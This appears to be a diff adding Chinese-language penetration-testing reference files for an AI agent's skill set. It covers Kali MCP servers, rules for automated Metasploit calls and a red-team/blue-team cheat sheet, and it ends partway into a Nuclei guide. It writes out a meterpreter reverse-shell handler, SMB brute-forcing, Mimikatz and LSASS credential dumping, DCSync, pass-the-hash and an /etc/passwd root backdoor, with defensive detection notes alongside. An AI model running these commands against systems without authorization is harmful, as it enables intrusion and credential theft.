-RawExcerpt "status===200 && !isNaN gate"
|
||||
```
|
||||
|
||||
## 7. 与其他 skill
|
||||
|
||||
| 发现 | 交接 |
|
||||
|------|------|
|
||||
| 前端签名/加密参数 | `js-reverse/` |
|
||||
| 复杂 SPA 交互验证 | `browser-automation/` |
|
||||
| BOLA 已登录 API | `api-security/` |
|
||||
|
||||
## 8. 诚实完成标准
|
||||
|
||||
```text
|
||||
□ 未打穿 ≠ skill 无效:必须留下 surface + sink + 失败原因
|
||||
□ 禁止把 observed sink 写成 validated exploit
|
||||
□ timeline 写清:公网 demo 挂了 / Docker 未起 / curl [] 坑
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
# Kali Linux MCP 生态系统(2026 年)
|
||||
|
||||
> 来源:多个 GitHub 项目 + Kali 官方仓库(2025-2026)
|
||||
> 适用场景:在 Kali 上通过 MCP 协议让 AI agent 直接调用安全工具
|
||||
|
||||
## 概述
|
||||
|
||||
MCP(Model Context Protocol)已成为 AI agent 调用安全工具的标准协议。Kali Linux 从 2025.4 开始官方收录 MCP 工具,2026.1 进一步扩展。以下是当前生态中最有价值的 MCP server。
|
||||
|
||||
## Kali 官方收录的 MCP 工具
|
||||
|
||||
### 1. mcp-kali-server(官方推荐)
|
||||
|
||||
- **包名**:`mcp-kali-server`
|
||||
- **安装**:`apt install mcp-kali-server`
|
||||
- **来源**:[Wh0am123/MCP-Kali-Server](https://github.com/Wh0am123/MCP-Kali-Server)
|
||||
- **功能**:轻量 API 桥接,连接 MCP 客户端到 Kali 终端
|
||||
- **能力**:运行 nmap、nxc、curl、wget、gobuster 等任意终端命令
|
||||
- **用途**:AI 辅助渗透测试、CTF 解题、HTB/THM 靶机
|
||||
- **启动**:
|
||||
```bash
|
||||
kali-server-mcp --port 5000 # 启动 API server
|
||||
mcp-server --server http://localhost:5000 # 连接 MCP 客户端
|
||||
```
|
||||
|
||||
### 2. MetasploitMCP
|
||||
|
||||
- **包名**:`metasploitmcp`
|
||||
- **安装**:`apt install metasploitmcp`
|
||||
- **来源**:[GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP)
|
||||
- **功能**:Metasploit Framework 的 MCP 接口
|
||||
- **传输模式**:HTTP(默认 8085)或 stdio
|
||||
- **启动**:
|
||||
```bash
|
||||
metasploitmcp --transport stdio # stdio 模式(推荐)
|
||||
metasploitmcp --transport http --port 8085 # HTTP 模式
|
||||
```
|
||||
|
||||
### 3. HexStrike AI
|
||||
|
||||
- **包名**:`hexstrike-ai`
|
||||
- **安装**:`apt install hexstrike-ai`
|
||||
- **来源**:[0x4m4/hexstrike-ai](https://github.com/0x4m4/hexstrike-ai)
|
||||
- **功能**:150+ 安全工具通过 MCP 暴露给 AI agent
|
||||
- **特点**:多 agent 架构,自动化渗透测试、漏洞发现、Bug Bounty
|
||||
|
||||
## 社区 MCP Server(非官方但高质量)
|
||||
|
||||
### 4. Pentest Swarm AI
|
||||
|
||||
- **安装**:`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@v0.1.0`
|
||||
- **来源**:[Armur-Ai/Pentest-Swarm-AI](https://github.com/Armur-Ai/Pentest-Swarm-AI)
|
||||
- **功能**:群体智能渗透框架,stigmergic blackboard 协调多 agent
|
||||
- **MCP 模式**:`pentestswarm mcp serve`
|
||||
- **特点**:真正的 swarm 架构(非流水线),pheromone 衰减机制
|
||||
|
||||
### 5. awsome_kali_MCPServers
|
||||
|
||||
- **来源**:[ccq1/awsome_kali_MCPServers](https://github.com/ccq1/awsome_kali_MCPServers)
|
||||
- **功能**:专为 Kali 设计的 MCP server 集合
|
||||
- **覆盖**:网络分析、目标嗅探、流量分析、二进制理解、自动化
|
||||
- **特点**:面向逆向工程和安全测试的 AI 工作流
|
||||
|
||||
### 6. Pentest-Agent
|
||||
|
||||
- **来源**:[0xJaeg3r/Pentest-Agent](https://github.com/0xJaeg3r/Pentest-Agent)
|
||||
- **功能**:AI 驱动的渗透测试 agent
|
||||
- **工具**:nmap、gobuster、nikto、sqlmap、hydra、john、metasploit、enum4linux、wpscan
|
||||
- **架构**:基于 agno 框架,CLI + FastAPI server
|
||||
|
||||
### 7. pentestMCP
|
||||
|
||||
- **来源**:[RamKansal/pentestMCP](https://github.com/ramkansal/pentestMCP)
|
||||
- **功能**:专为渗透测试设计的 MCP server
|
||||
- **特点**:Docker 化部署,20+ 工具集成
|
||||
|
||||
## MCP 使用优先级建议
|
||||
|
||||
根据场景选择最合适的 MCP:
|
||||
|
||||
| 场景 | 推荐 MCP | 原因 |
|
||||
|------|---------|------|
|
||||
| 通用终端操作 | mcp-kali-server | 可调用任意命令 |
|
||||
| Metasploit 专用 | metasploitmcp | exploit/payload/session 管理 |
|
||||
| 大规模自动化 | hexstrike-ai | 150+ 工具编排 |
|
||||
| 群体渗透/Bug Bounty | pentestswarm | swarm 架构,适合大目标 |
|
||||
| 逆向工程 | awsome_kali_MCPServers | 专注二进制和流量分析 |
|
||||
| 快速单目标 | pentest-agent | 简单直接 |
|
||||
|
||||
## MCP 配置示例(Claude Code / Kiro)
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"kali-server": {
|
||||
"command": "kali-server-mcp",
|
||||
"args": ["--port", "5000"]
|
||||
},
|
||||
"metasploit-mcp": {
|
||||
"command": "metasploitmcp",
|
||||
"args": ["--transport", "stdio"]
|
||||
},
|
||||
"hexstrike": {
|
||||
"command": "hexstrike-ai",
|
||||
"args": []
|
||||
},
|
||||
"pentestswarm": {
|
||||
"command": "pentestswarm",
|
||||
"args": ["mcp", "serve"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Kali & LLM: Claude Desktop 集成](https://www.kali.org/blog/kali-llm-claude-desktop/)(Kali 官方博客)
|
||||
- [Kali & LLM: Ollama + 5ire 本地运行](https://www.kali.org/blog/kali-llm-ollama-5ire/)(Kali 官方博客)
|
||||
- [Automating Penetration Testing via MCP-Kali-Server](https://medium.com/@linc89617/automating-penetration-testing-with-claude-lm-studio-anythingllm-via-mcp-kali-server-730cdaa65eab)(Medium)
|
||||
@@ -0,0 +1,169 @@
|
||||
# Metasploit 调用陷阱与正确姿势
|
||||
|
||||
> 借鉴自 PentAGI 多 agent 系统在大规模自动化调用 Metasploit 时踩过的坑。
|
||||
|
||||
`msfconsole` 是渗透阶段最容易把整条命令链卡死的工具。下面是**全部已知陷阱 + 正确模式**,让 AI 自动化调用 MSF 时不会变成"无脑挂死的怪物"。
|
||||
|
||||
## 6 大常见错误
|
||||
|
||||
| 错误 | 现象 | 后果 |
|
||||
|------|------|------|
|
||||
| 1. 不带 `-x` 直接跑 | `msfconsole` | 进入交互模式,永远等输入 |
|
||||
| 2. 命令链不带 `;exit` | `msfconsole -x "exploit"` | 永远不退出,孤儿进程 |
|
||||
| 3. 拆多次 console 调用 | 想用 sessions 但每次都新开 | 进程隔离,看不到上次的 session |
|
||||
| 4. 多余的 handler | 同时用 `exploit/multi/handler` | exploit 命令本身已经包含 handler,重复占端口 |
|
||||
| 5. 不查端口直接监听 | 直接 `set LPORT 4444` | 端口被占用 → bind 失败 |
|
||||
| 6. 孤儿进程不清理 | 多次卡死后忘了 kill | `ps aux` 一堆 ruby 进程 |
|
||||
|
||||
## 三种正确模式
|
||||
|
||||
### 模式 A:单次独立调用(推荐 80% 场景)
|
||||
|
||||
把所有操作塞一个 `-x` 里,最后必带 `;exit`。
|
||||
|
||||
```bash
|
||||
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {callback_ip}; set LPORT {allocated_port}; exploit; sleep 20; sessions -l; exit"
|
||||
```
|
||||
|
||||
要点:
|
||||
- `-q`:quiet,少输出,省 token
|
||||
- `-x "..."`:直接执行,不进交互
|
||||
- `; exit`:必须最后一条
|
||||
- `sleep 20`:给 reverse shell 留连接时间
|
||||
- `sessions -l`:列出当前 session(在同一进程里,能看到)
|
||||
- 调用方设 `detach=false`,`timeout=120+`,等命令真正完成
|
||||
|
||||
### 模式 B:RPC daemon(复杂工作流)
|
||||
|
||||
需要在多次调用之间保持 session 状态时用:
|
||||
|
||||
```bash
|
||||
# Step 1: 先查端口
|
||||
netstat -tulnp | grep 55553
|
||||
|
||||
# Step 2: 启动 RPC daemon,detach=true(让它独立活着)
|
||||
msfrpcd -P pass -U user -a 127.0.0.1 -p 55553
|
||||
|
||||
# Step 3: 客户端连接,detach=false
|
||||
msfconsole -q -x "connect 127.0.0.1:55553 user pass; use exploit/...; exploit; exit"
|
||||
|
||||
# Step 4: 之后再连,能看到同一批 sessions
|
||||
msfconsole -q -x "connect 127.0.0.1:55553 user pass; sessions -l; sessions -i 1 -c 'whoami'; exit"
|
||||
```
|
||||
|
||||
要点:
|
||||
- 启动前**必须先查端口**
|
||||
- daemon 用 `detach=true`、`timeout=600+`
|
||||
- client 用 `detach=false`、各自有自己的合理 timeout
|
||||
- 任务结束记得 `pkill -f msfrpcd`
|
||||
|
||||
### 模式 C:一次性批量利用(无 session 需求)
|
||||
|
||||
只想跑个 exploit / aux 模块拿结果,不需要 meterpreter session:
|
||||
|
||||
```bash
|
||||
msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS {target_ip}; set USER_FILE /tmp/users.txt; set PASS_FILE /tmp/passes.txt; run; exit"
|
||||
```
|
||||
|
||||
要点:
|
||||
- 用 `run` 不用 `exploit`(aux 模块习惯)
|
||||
- 输出全在 stdout,命令结束后一次性拿到
|
||||
|
||||
## detach 参数选择
|
||||
|
||||
PentAGI 的执行器对终端调用有 `detach` 参数:
|
||||
|
||||
| detach | 用途 | 何时用 |
|
||||
|--------|------|-------|
|
||||
| `false` | 等命令完成,返回 stdout | 模式 A、模式 C、所有 client 调用 |
|
||||
| `true` | 命令在后台跑,500ms 后立即返回 | msfrpcd / nc -l / python -m http.server / tcpdump |
|
||||
|
||||
错用的后果:
|
||||
- 该 detach 的没 detach → daemon 跑到 timeout 被 kill,client 第二次连不上
|
||||
- 不该 detach 的 detach 了 → 拿不到 stdout,不知道 exploit 结果
|
||||
|
||||
## 实战诊断命令
|
||||
|
||||
执行 MSF 出现异常时,先跑这三条:
|
||||
|
||||
```bash
|
||||
# 1. 查 ruby 进程(msfconsole / msfrpcd 都是 ruby)
|
||||
ps aux | grep -E "msfconsole|msfrpcd|ruby"
|
||||
|
||||
# 2. 查相关端口
|
||||
netstat -tulnp | grep -E ":4444|:55553|:8080"
|
||||
|
||||
# 3. 清理孤儿(确认要 kill 再执行)
|
||||
pkill -f msfconsole
|
||||
pkill -f msfrpcd
|
||||
```
|
||||
|
||||
## 在 Skills router 里如何让 AI 用上
|
||||
|
||||
把这套规则补到 `pentest-tools/SKILL.md` 或单独的 `pentest-tools/references/msf-protocol.md`,确保 AI 在生成 MSF 命令前先读到。
|
||||
|
||||
最简洁的硬规则版本(直接抄到 `RULES.md` 或 skill 的 SKILL.md):
|
||||
|
||||
```markdown
|
||||
### MSF 调用硬规则
|
||||
- 永远不要直接跑 `msfconsole`,必须用 `-x "..."`
|
||||
- `-x` 字符串末尾必须 `;exit`
|
||||
- 启动监听前必须 `netstat -tulnp | grep [PORT]`
|
||||
- 不需要单独 `exploit/multi/handler`,`exploit` 命令已含 handler
|
||||
- 多步操作合并到一个 `-x` 里,不要拆多次 console 调用
|
||||
- 需要保持 session 跨调用 → 切到 msfrpcd 模式
|
||||
- 失败后用 `ps aux | grep msfconsole` 查孤儿,`pkill -f msfconsole` 清理
|
||||
```
|
||||
|
||||
## 输出最小化技巧
|
||||
|
||||
MSF 输出极冗长,直接喂给 LLM 浪费 token。优化点:
|
||||
|
||||
- `-q`:quiet 模式(必加)
|
||||
- `set ConsoleLogging false`
|
||||
- `set LogLevel 0`
|
||||
- 解析 sessions 时用 `sessions -l` 而不是 `sessions -v`
|
||||
- exploit 完成后只看关键行:`exploit | grep -E "session|opened|fail"`
|
||||
|
||||
## 与 OOB 攻击的配合
|
||||
|
||||
涉及反弹 shell / DNS exfil / SSRF OOB 时:
|
||||
|
||||
- LPORT 必须在用户分配的端口范围内(PentAGI 用容器 port forwarding,必须用宿主机已转发的端口)
|
||||
- 公网 IP 不知道时:`curl -s https://api.ipify.org`
|
||||
- 测试连通性:`nc -zv {callback_ip} {port}` 在外部跑,看是否能到容器
|
||||
|
||||
## 反模式实例
|
||||
|
||||
```bash
|
||||
# ❌ 直接跑 console
|
||||
msfconsole
|
||||
|
||||
# ❌ 没 exit
|
||||
msfconsole -x "exploit"
|
||||
|
||||
# ❌ 拆开调用
|
||||
msfconsole -x "use exploit/...; set ...; run; exit"
|
||||
msfconsole -x "sessions -l; exit" # 看不到上一步的 session
|
||||
|
||||
# ❌ 重复 handler
|
||||
msfconsole -x "use exploit/multi/handler; set ...; exploit -j; use exploit/...; exploit; exit"
|
||||
|
||||
# ❌ 不查端口
|
||||
msfconsole -x "use exploit/multi/handler; set LPORT 4444; exploit; exit"
|
||||
# → 如果 4444 被占,bind error,但 console 已经退了,看不到原因
|
||||
```
|
||||
|
||||
## 与 field-journal 的协作
|
||||
|
||||
每次用 MSF 完成任务,回写时记一条:
|
||||
|
||||
```markdown
|
||||
## MSF 调用模式
|
||||
- 模式:A 单次 / B RPC / C 批量
|
||||
- 端口冲突:是 / 否(如何解决)
|
||||
- 孤儿进程:是 / 否(清理命令)
|
||||
- 关键参数:LHOST / LPORT / PAYLOAD 的最终值(脱敏)
|
||||
```
|
||||
|
||||
这样下次同类任务能直接复用配置。
|
||||
@@ -0,0 +1,350 @@
|
||||
# 网络攻击与防御速查
|
||||
|
||||
> 覆盖网络层攻击技术、内网渗透、横向移动、权限提升、持久化、以及对应的防御检测方法。
|
||||
> 面向红队攻击和蓝队防御双视角。
|
||||
|
||||
---
|
||||
|
||||
## 网络侦察
|
||||
|
||||
### 主动侦察
|
||||
|
||||
```bash
|
||||
# 端口扫描(Nmap)
|
||||
nmap -sV -sC -O -p- target # 全端口+服务+OS
|
||||
nmap -sU --top-ports 100 target # UDP 扫描
|
||||
nmap --script vuln target # 漏洞脚本扫描
|
||||
nmap -sn 192.168.1.0/24 # 存活主机发现
|
||||
|
||||
# 快速扫描(Masscan)
|
||||
masscan -p1-65535 target --rate=10000 # 高速全端口
|
||||
masscan -p80,443,8080 0.0.0.0/0 --rate=100000 # 全网特定端口
|
||||
|
||||
# 服务指纹
|
||||
nmap -sV --version-intensity 5 target
|
||||
```
|
||||
|
||||
### 被动侦察
|
||||
|
||||
```bash
|
||||
# DNS 信息
|
||||
dig target.com ANY
|
||||
dig target.com AXFR @ns1.target.com # 区域传送
|
||||
host -t mx target.com
|
||||
nslookup -type=TXT target.com
|
||||
|
||||
# 证书透明度
|
||||
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
|
||||
|
||||
# WHOIS
|
||||
whois target.com
|
||||
|
||||
# Shodan/Censys/FOFA
|
||||
shodan search "hostname:target.com"
|
||||
```
|
||||
|
||||
### 防御检测
|
||||
|
||||
```text
|
||||
□ IDS/IPS 规则:检测端口扫描模式(SYN flood、半开连接)
|
||||
□ 防火墙日志:异常源 IP 的大量连接尝试
|
||||
□ 蜜罐:部署在非业务端口,检测扫描行为
|
||||
□ 网络流量基线:偏离正常流量模式的告警
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 内网渗透
|
||||
|
||||
### 初始访问后信息收集
|
||||
|
||||
```bash
|
||||
# Windows 内网信息
|
||||
ipconfig /all
|
||||
net user /domain
|
||||
net group "Domain Admins" /domain
|
||||
nltest /dclist:
|
||||
systeminfo
|
||||
tasklist /v
|
||||
netstat -ano
|
||||
|
||||
# Linux 内网信息
|
||||
ifconfig / ip addr
|
||||
cat /etc/passwd
|
||||
cat /etc/shadow
|
||||
ss -tlnp
|
||||
ps aux
|
||||
find / -perm -4000 2>/dev/null # SUID 文件
|
||||
```
|
||||
|
||||
### 横向移动
|
||||
|
||||
| 技术 | 工具 | 命令 |
|
||||
|------|------|------|
|
||||
| Pass-the-Hash | Impacket | `psexec.py -hashes :NTLM_HASH admin@target` |
|
||||
| Pass-the-Ticket | Mimikatz | `kerberos::ptt ticket.kirbi` |
|
||||
| WMI 执行 | Impacket | `wmiexec.py admin:pass@target "whoami"` |
|
||||
| SMB 执行 | Impacket | `smbexec.py admin:pass@target` |
|
||||
| WinRM | Evil-WinRM | `evil-winrm -i target -u admin -p pass` |
|
||||
| RDP | xfreerdp | `xfreerdp /v:target /u:admin /p:pass` |
|
||||
| SSH 隧道 | ssh | `ssh -L 8080:internal:80 user@pivot` |
|
||||
| SOCKS 代理 | Chisel | `chisel server -p 8080 --socks5` |
|
||||
|
||||
### 防御检测
|
||||
|
||||
```text
|
||||
□ 监控异常登录:非工作时间、异常源 IP、失败次数
|
||||
□ 检测 PtH:Event ID 4624 Type 3 + NTLM 认证
|
||||
□ 检测横向移动:Event ID 4648(显式凭证登录)
|
||||
□ 网络分段:限制工作站间直接通信
|
||||
□ LAPS:本地管理员密码随机化
|
||||
□ 特权访问工作站(PAW):隔离管理操作
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 权限提升
|
||||
|
||||
### Windows 提权
|
||||
|
||||
| 技术 | 检测/利用 |
|
||||
|------|---------|
|
||||
| 未引用服务路径 | `wmic service get name,pathname \| findstr /v "C:\Windows"` |
|
||||
| 弱服务权限 | `accesschk.exe -uwcqv "Authenticated Users" *` |
|
||||
| AlwaysInstallElevated | `reg query HKLM\...\Installer /v AlwaysInstallElevated` |
|
||||
| 令牌模拟 | `whoami /priv` → SeImpersonatePrivilege → Potato |
|
||||
| DLL 劫持 | Process Monitor 监控 DLL 加载失败 |
|
||||
| 计划任务 | `schtasks /query /fo LIST /v` |
|
||||
| 自动运行 | `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` |
|
||||
|
||||
### Linux 提权
|
||||
|
||||
| 技术 | 检测/利用 |
|
||||
|------|---------|
|
||||
| SUID 二进制 | `find / -perm -4000 2>/dev/null` → GTFOBins |
|
||||
| sudo 配置 | `sudo -l` → 可利用的 NOPASSWD 命令 |
|
||||
| Cron 任务 | `cat /etc/crontab` + `ls -la /etc/cron.*` |
|
||||
| 内核漏洞 | `uname -r` → searchsploit |
|
||||
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` |
|
||||
| Docker 逃逸 | `docker run -v /:/host --privileged` |
|
||||
| Capabilities | `getcap -r / 2>/dev/null` |
|
||||
|
||||
### 自动化工具
|
||||
|
||||
```bash
|
||||
# Windows
|
||||
winPEAS.exe
|
||||
PowerUp.ps1 → Invoke-AllChecks
|
||||
Seatbelt.exe -group=all
|
||||
|
||||
# Linux
|
||||
linpeas.sh
|
||||
linux-exploit-suggester.sh
|
||||
pspy # 监控进程(无需 root)
|
||||
```
|
||||
|
||||
### 防御检测
|
||||
|
||||
```text
|
||||
□ 最小权限原则:服务账户不给管理员权限
|
||||
□ 定期审计 SUID/sudo/计划任务
|
||||
□ 监控特权操作:Event ID 4672(特殊权限分配)
|
||||
□ 应用白名单:AppLocker / WDAC
|
||||
□ 内核补丁:及时更新
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 凭证获取
|
||||
|
||||
### Windows 凭证
|
||||
|
||||
```bash
|
||||
# Mimikatz
|
||||
sekurlsa::logonpasswords # 内存中的明文密码
|
||||
sekurlsa::wdigest # WDigest 密码
|
||||
lsadump::sam # SAM 数据库
|
||||
lsadump::dcsync /user:admin # DCSync 攻击
|
||||
|
||||
# 注册表
|
||||
reg save HKLM\SAM sam.hiv
|
||||
reg save HKLM\SYSTEM system.hiv
|
||||
# → secretsdump.py -sam sam.hiv -system system.hiv LOCAL
|
||||
|
||||
# LSASS Dump
|
||||
procdump.exe -ma lsass.exe lsass.dmp
|
||||
# → pypykatz lsa minidump lsass.dmp
|
||||
```
|
||||
|
||||
### Kerberos 攻击
|
||||
|
||||
| 攻击 | 工具 | 说明 |
|
||||
|------|------|------|
|
||||
| Kerberoasting | Impacket | `GetUserSPNs.py domain/user:pass -dc-ip DC` |
|
||||
| AS-REP Roasting | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
|
||||
| Golden Ticket | Mimikatz | 需要 krbtgt hash |
|
||||
| Silver Ticket | Mimikatz | 需要服务账户 hash |
|
||||
| Delegation 滥用 | Impacket | 约束/非约束委派利用 |
|
||||
|
||||
### 防御检测
|
||||
|
||||
```text
|
||||
□ 启用 Credential Guard(保护 LSASS)
|
||||
□ 禁用 WDigest(防止明文密码缓存)
|
||||
□ 监控 LSASS 访问:Sysmon Event ID 10
|
||||
□ 检测 Kerberoasting:Event ID 4769 + RC4 加密
|
||||
□ 检测 DCSync:Event ID 4662 + DS-Replication-Get-Changes
|
||||
□ 强密码策略 + MFA
|
||||
□ 定期轮换 krbtgt 密码
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 持久化
|
||||
|
||||
### Windows 持久化
|
||||
|
||||
| 技术 | 位置/方法 |
|
||||
|------|---------|
|
||||
| 注册表 Run 键 | `HKCU\...\Run` |
|
||||
| 计划任务 | `schtasks /create` |
|
||||
| 服务 | `sc create` |
|
||||
| WMI 事件订阅 | `__EventFilter` + `CommandLineEventConsumer` |
|
||||
| DLL 劫持 | 替换合法 DLL |
|
||||
| COM 劫持 | 修改 CLSID 注册表 |
|
||||
| Startup 文件夹 | `%APPDATA%\...\Startup\` |
|
||||
| Golden Ticket | krbtgt hash → 永久域访问 |
|
||||
|
||||
### Linux 持久化
|
||||
|
||||
| 技术 | 位置/方法 |
|
||||
|------|---------|
|
||||
| Cron 任务 | `/etc/crontab`、`/var/spool/cron/` |
|
||||
| SSH 密钥 | `~/.ssh/authorized_keys` |
|
||||
| bashrc/profile | `~/.bashrc` 添加反弹 shell |
|
||||
| Systemd 服务 | `/etc/systemd/system/` |
|
||||
| LD_PRELOAD | `/etc/ld.so.preload` |
|
||||
| PAM 后门 | 修改 `pam_unix.so` |
|
||||
| Rootkit | 内核模块 / eBPF |
|
||||
|
||||
### 防御检测
|
||||
|
||||
```text
|
||||
□ 监控自启动位置变更(Autoruns / osquery)
|
||||
□ 文件完整性监控(AIDE / Tripwire / Sysmon)
|
||||
□ 定期审计计划任务和服务
|
||||
□ 检测异常 SSH 密钥添加
|
||||
□ EDR 行为检测:异常进程创建链
|
||||
□ 网络检测:异常外连(C2 通信特征)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## C2 通信与检测
|
||||
|
||||
### 常见 C2 框架
|
||||
|
||||
| 框架 | 特点 | 检测难度 |
|
||||
|------|------|---------|
|
||||
| Cobalt Strike | 商业级,Beacon 协议 | 中(有签名) |
|
||||
| Sliver | 开源,Go 编写 | 中 |
|
||||
| Havoc | 现代 C2,规避能力强 | 高 |
|
||||
| Mythic | 模块化,多 Agent | 中 |
|
||||
| Metasploit | 经典,Meterpreter | 低(签名多) |
|
||||
|
||||
### C2 通信检测
|
||||
|
||||
```text
|
||||
□ DNS 隧道:异常长域名、高频 TXT 查询、非常规子域名
|
||||
□ HTTP C2:固定间隔请求、异常 User-Agent、非标准端口 HTTPS
|
||||
□ 域前置:CDN 域名但实际通信到 C2
|
||||
□ 加密流量分析:JA3/JA3S 指纹、证书异常
|
||||
□ 行为检测:进程注入、异常父子进程关系
|
||||
□ 内存检测:无文件恶意代码(反射 DLL、shellcode)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 防御体系建设
|
||||
|
||||
### 网络层
|
||||
|
||||
```text
|
||||
□ 网络分段(VLAN + 防火墙规则)
|
||||
□ 零信任架构(不信任内网流量)
|
||||
□ IDS/IPS 部署(Suricata / Snort)
|
||||
□ 全流量记录(Zeek / Arkime)
|
||||
□ DNS 安全(DNS over HTTPS + 恶意域名拦截)
|
||||
□ 出口流量监控(检测 C2 外连)
|
||||
```
|
||||
|
||||
### 终端层
|
||||
|
||||
```text
|
||||
□ EDR 部署(CrowdStrike / Defender for Endpoint / Elastic)
|
||||
□ 应用白名单(AppLocker / WDAC)
|
||||
□ 补丁管理(WSUS / SCCM)
|
||||
□ 最小权限(移除本地管理员)
|
||||
□ 日志集中(Sysmon + Windows Event Forwarding)
|
||||
□ 磁盘加密(BitLocker)
|
||||
```
|
||||
|
||||
### 身份层
|
||||
|
||||
```text
|
||||
□ MFA 全覆盖(特别是 VPN/RDP/管理后台)
|
||||
□ 特权访问管理(PAM)
|
||||
□ 条件访问策略
|
||||
□ 密码策略(长度 > 复杂度)
|
||||
□ 服务账户管理(gMSA)
|
||||
□ 定期凭证轮换
|
||||
```
|
||||
|
||||
### 检测与响应
|
||||
|
||||
```text
|
||||
□ SIEM 部署(Splunk / Elastic / Sentinel)
|
||||
□ SOAR 自动化响应
|
||||
□ 威胁情报集成(MISP / OpenCTI)
|
||||
□ 红蓝对抗演练
|
||||
□ 应急响应预案(IR Playbook)
|
||||
□ 取证能力(内存取证 + 磁盘取证 + 网络取证)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## MITRE ATT&CK 映射
|
||||
|
||||
| 战术 | 本文覆盖的技术 |
|
||||
|------|--------------|
|
||||
| Reconnaissance | 端口扫描、DNS 枚举、证书透明度 |
|
||||
| Initial Access | Web 漏洞利用、钓鱼、暴力破解 |
|
||||
| Execution | 命令注入、WMI、PowerShell |
|
||||
| Persistence | 注册表、计划任务、SSH 密钥、服务 |
|
||||
| Privilege Escalation | SUID、Potato、内核漏洞、DLL 劫持 |
|
||||
| Defense Evasion | 进程注入、无文件、混淆 |
|
||||
| Credential Access | Mimikatz、Kerberoasting、DCSync |
|
||||
| Discovery | 内网信息收集、AD 枚举 |
|
||||
| Lateral Movement | PtH、WMI、SMB、RDP |
|
||||
| Collection | 数据库导出、文件收集 |
|
||||
| C2 | HTTP/DNS 隧道、域前置 |
|
||||
| Exfiltration | DNS 外带、HTTP 上传、云存储 |
|
||||
|
||||
---
|
||||
|
||||
## 工具速查
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Nmap | 端口扫描 | https://nmap.org/ |
|
||||
| Impacket | Windows 协议利用 | https://github.com/fortra/impacket |
|
||||
| Mimikatz | 凭证提取 | https://github.com/gentilkiwi/mimikatz |
|
||||
| BloodHound | AD 攻击路径 | https://github.com/BloodHoundAD/BloodHound |
|
||||
| CrackMapExec | 内网瑞士军刀 | https://github.com/byt3bl33d3r/CrackMapExec |
|
||||
| Chisel | TCP 隧道 | https://github.com/jpillora/chisel |
|
||||
| Ligolo-ng | 隧道代理 | https://github.com/nicocha30/ligolo-ng |
|
||||
| Evil-WinRM | WinRM Shell | https://github.com/Hackplayers/evil-winrm |
|
||||
| LinPEAS/WinPEAS | 提权枚举 | https://github.com/carlospolop/PEASS-ng |
|
||||
| Responder | LLMNR/NBT-NS 毒化 | https://github.com/lgandx/Responder |
|
||||
| Kerbrute | Kerberos 枚举 | https://github.com/ropnop/kerbrute |
|
||||
| Rubeus | Kerberos 攻击 | https://github.com/GhostPack/Rubeus |
|
||||
@@ -0,0 +1,157 @@
|
||||
# Nuclei 实战指南(2026 版)
|
||||
|
||||
> 来源:[ProjectDiscovery 官方文档](https://docs.projectdiscovery.io/) + [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates)(2026)
|
||||
> 适用场景:漏洞扫描、自定义检测模板编写、Bug Bounty 自动化
|
||||
|
||||
## 概述
|
||||
|
||||
Nuclei 是基于模板的快速漏洞扫描器。截至 2026 年:
|
||||
- 9000+ 社区模板
|
||||
- 100,000+ 安全工程师贡献
|
||||
- 支持 HTTP/DNS/TCP/SSL/文件/代码等多种协议
|
||||
- 已集成到 Kali 官方仓库(`apt install nuclei`)
|
||||
|
||||
## 快速使用
|
||||
|
||||
```bash
|
||||
# 安装(Kali)
|
||||
apt install nuclei
|
||||
# 或最新版
|
||||
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
|
||||
# 更新模板
|
||||
nuclei -update-templates
|
||||
|
||||
# 基础扫描
|
||||
nuclei -u https://target.com
|
||||
|
||||
# 指定严重级别
|
||||
nuclei -u https://target.com -severity critical,high
|
||||
|
||||
# 指定模板类别
|
||||
nuclei -u https://target.com -tags cve,sqli,xss,ssrf
|
||||
|
||||
# 批量目标
|
||||
nuclei -l urls.txt -severity critical,high -o results.txt
|
||||
|
||||
# 配合 httpx 使用(推荐)
|
||||
cat subdomains.txt | httpx -silent | nuclei -severity critical,high
|
||||
```
|
||||
|
||||
## 自定义模板编写
|
||||
|
||||
### 基础结构
|
||||
|
||||
```yaml
|
||||
id: custom-check-id
|
||||
|
||||
info:
|
||||
name: Custom Vulnerability Check
|
||||
author: your-name
|
||||
severity: high
|
||||
description: Description of what this checks
|
||||
tags: custom,webapp
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/vulnerable-endpoint"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "sensitive_data"
|
||||
condition: and
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
### 最佳实践
|
||||
|
||||
1. **ID 命名**:使用 `vendor-product-vulnerability` 格式
|
||||
2. **严重级别**:严格按 CVSS 评分对应(critical/high/medium/low/info)
|
||||
3. **Matcher 精确**:避免误报,组合多个 matcher
|
||||
4. **提取器**:用 extractor 提取关键证据
|
||||
5. **条件组合**:用 `condition: and` 减少误报
|
||||
|
||||
### 高级模板示例(SSTI 检测)
|
||||
|
||||
```yaml
|
||||
id: ssti-detection
|
||||
|
||||
info:
|
||||
name: Server-Side Template Injection
|
||||
author: security-team
|
||||
severity: high
|
||||
tags: ssti,injection
|
||||
|
||||
http:
|
||||
- method: GET
|
